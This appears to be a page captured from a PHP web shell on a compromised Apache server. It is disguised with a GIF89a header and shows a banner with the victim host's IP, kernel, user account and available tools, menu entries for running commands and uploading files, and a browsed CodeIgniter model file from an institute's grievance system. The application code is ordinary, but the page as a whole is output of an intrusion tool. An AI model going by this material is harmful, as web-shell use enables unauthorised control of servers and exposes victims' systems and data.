GIF89a;
Server IP : 172.26.0.195 / Your IP : 3.139.83.248 Web Server : Apache System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64 User : jnclnmuac ( 1026) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/jnclnmuac/public_html/web/../grievance/application/models/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php /** * Model Class For Handling All DB Operations Related to Grievance Categories * * @author Softpro India Pvt. Ltd. */ defined('BASEPATH') OR exit('No direct script access allowed'); class GrievanceCategoryManagement extends CI_Model { function __construct() { parent::__construct(); $this->load->database(); } function getTotalNonDeletedGCategoriesOfInstitute($clg_id){ $this->db->select("count(*) totalGCatgs"); $this->db->from('grievance_cat_mst'); $this->db->where('gcm_delete_status','F'); $this->db->where('clg_id',$clg_id); return $this->db->get(); } function getNonDeletedGrievanceCategoriesOfInstitute($clg_id){ $this->db->select("GCM.gcm_id,GCM.gcm_title,GCM.gcm_description,GCM.gcm_active_status,GCM.gcm_delete_status,GCM.gcm_added_on,GCM.gcm_updated_on"); $this->db->from('grievance_cat_mst GCM'); $this->db->where('GCM.gcm_delete_status','F'); $this->db->where('GCM.clg_id',$clg_id); $this->db->order_by('GCM.gcm_added_on desc'); return $this->db->get(); } function getNonDeletedActiveGrievanceCategoriesOfInstitute($clg_id){ $this->db->select("GCM.gcm_id,GCM.gcm_title,GCM.gcm_description,GCM.gcm_active_status,GCM.gcm_delete_status,GCM.gcm_added_on,GCM.gcm_updated_on"); $this->db->from('grievance_cat_mst GCM'); $this->db->where('GCM.gcm_delete_status','F'); $this->db->where('GCM.gcm_active_status','T'); $this->db->where('GCM.clg_id',$clg_id); $this->db->order_by('GCM.gcm_added_on desc'); return $this->db->get(); } function createNewGrievanceCategory(array $newGrievanceCategoryInfo) { $this->db->insert('grievance_cat_mst', $newGrievanceCategoryInfo); return $this->db->insert_id(); } function updateGrievanceCategoryInfo(array $grievanceCategoryUpdatedInfo) { $this->db->where('gcm_id', $grievanceCategoryUpdatedInfo['gcm_id']); return $this->db->update('grievance_cat_mst', $grievanceCategoryUpdatedInfo); } function getGrievanceCategoryInfoById($gcm_id) { $this->db->select("*"); $this->db->from('grievance_cat_mst'); $this->db->where('gcm_id', $gcm_id); return $this->db->get(); } }